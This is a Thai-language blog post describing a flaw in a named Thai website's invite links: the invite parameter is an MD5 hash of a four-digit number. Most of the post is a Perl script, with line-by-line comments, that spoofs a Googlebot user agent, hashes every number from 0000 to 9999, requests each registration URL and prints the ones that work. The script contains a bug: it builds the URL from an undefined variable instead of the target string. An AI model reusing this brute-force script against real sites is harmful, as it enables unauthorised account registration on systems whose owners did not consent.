มันแค่ช่องโหว่ เล็กๆน้อยๆ ของ เลขที่ใช้ invite
หลักก็คือ invite มันดันเป็น hash ที่ ใช้ md5 เข้ารหัสของตัวเลข แค่ 4 หลัก
(md5 คือการเข้ารหัสอย่างหนึ่ง ที่มักใช้กัน[ยิ่งแกะยากถ้า ใช้หลายๆหลัก])
ยกตัวอย่าง link invite ของ sb คือ
http://sb.in.th/register.php?invitenumber=[hash]
เช่น link นี้
http://sb.in.th/register.php?invitenumber=ce5140df15d046a66883807d18d0264b(ce5140df15d046a66883807d18d0264b hash นี้ เข้ารหัสมาจากเลข 1023)
ดังนั้น ขอเดาเลยว่า เลขมันต้องเป็น 0000 ถึง 9999 (1 หมื่น ตัว)
ถ้า นั่งมั่วมือ มันก็จะถึกไปหน่อย ดังนั้นเขียนเป็น perl ยิงไล่ เลยดีกว่า ง่ายดี
คำถาม คือ
Q: ทำให้ ให้เปิดเวป ได้ เพราะเราต้องเปิดหน้าเวป
http://sb.in.th/register.php?invitenumber=A: ใช้ LWP::UserAgent หรือเขียนโดยใช้ IO::Socket (หากลง Activeperl มันจะมีอยู่แล้ว แต่ LWP สะดวกกว่าเยอะ)
Q: ทำไงจะเข้ารหัสเลข 0000 - 9999 เป็น MD5 ได้
A: มัน จะมี Packet สำเร็จรูป ชื่อ Digest::MD5 อยู่ (ต้องลงเพิ่ม หาเอาได้จาก Perl package manager)
เอาล่ะ เริ่มกันดีกว่า
use LWP::UserAgent; #เรียกใช้ LWP::UserAgent; use Digest::MD5("md5_hex");# เรียกใช้ Digest::MD5 เฉพาะ sub md5_hex จะประกาศห้วนๆ use Digest::MD5; ก็ ได้เหมือนกัน # เรียกใช้ packet สำเร็จรูปเสร็จทีนี้มาเริ่ม จาก ประกาศ browser ที่ใช้ ว่าใช้อะไรเปิดเวปกันก่อนแล้วกัน my $browser = LWP::UserAgent->new(agent => 'Googlebot (Googlebot/2.1 +<a href="http://www.googlebot.com/bot.html">http://www.googlebot.com/bot.html</a>)'); # หลอกว่า ตูคือ google บอท (แต่จริงๆหลอกไม่ได้หรอก มันเป็นแค่เอาไว้บอกว่า ใช้ agent อะไรเข้าเวป ) # จะไม่ใส่ หรือ จะใส่ เหมือนคนจริงๆ เช่น Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) ไปก็ได้ ) # กรณีไม่ประกาศใช้ จะใส่แค่นี้ก็ได้ (ถ้าไม่ใส่ ใน log จะขึ้น ว่า ใช้ libwww-perl เข้าไป) # my $browser = LWP::UserAgent->new(); # นอกจาก agent แล้ว ยังมีให้ใช้อีกเยอะ (google ใส่ไปว่า perl lwp::agent แล้วอ่านเอา) # ปล. ใช้อะไรก็ได้ ไม่ จำเป็นต้อง $browser นะ ( src ฝรั่งมักใช้ $ua ) my $target = 'http://sb.in.th/register.php?invitenumber='; # $target = ส่วน link ของเวปเป้าหมายที่เราจะ ถึก foreach $i ( "0000" .. "9999" ){ # เขียน loop เพิ่มเริ่่มความถึก (ไล่เลข ตั้งแต่ 0000 ไปเรื่อยๆ จน 9999) my $hash = md5_hex($i); # แปลง เลขที่ได้ ไปเป็น md5 (ตอนนี้ค่า $hash ของเรา จะเป็น md5 ล่ะ) my $url = $url.$hash; #รวมมันไว้ด้วยกัน จะได้ ง่าย ตอน สั่งแสดงผล (จะไม่รวมก็ได้) my $response = $browser->get($url); # เริ่มการ เรียกหน้าเวปขึ้นมา if($response->is_success){ #ถ้าเปิดได้ ให้ทำตามเงื่อนไข ใน if my $x = $response->content; if($x =~ m!ยินดีต้อนรับ!){ # ถ้า hash ตรง จะมี คำว่ายินดีต้อนรับ ในหน้าเวป (ตรงนี้อ่าน regex เพิ่มเอา ไม่งั้นสอนกันยาว - -) print "[+] Found hash !!\n"; print "[+] URL = $url\n"; } }else{ print "Connection error.\n"; } }
สรุปว่า เขียนราวๆ เนี้ย อ่ะ (จบแบบขี้เกียจพิมพ์ 555+)
ใครอยากให้มันเขียน file เก็บไว้ เป็น txt ก็ใช้ funtion OPEN เอาแล้วกัน
No comments:
Post a Comment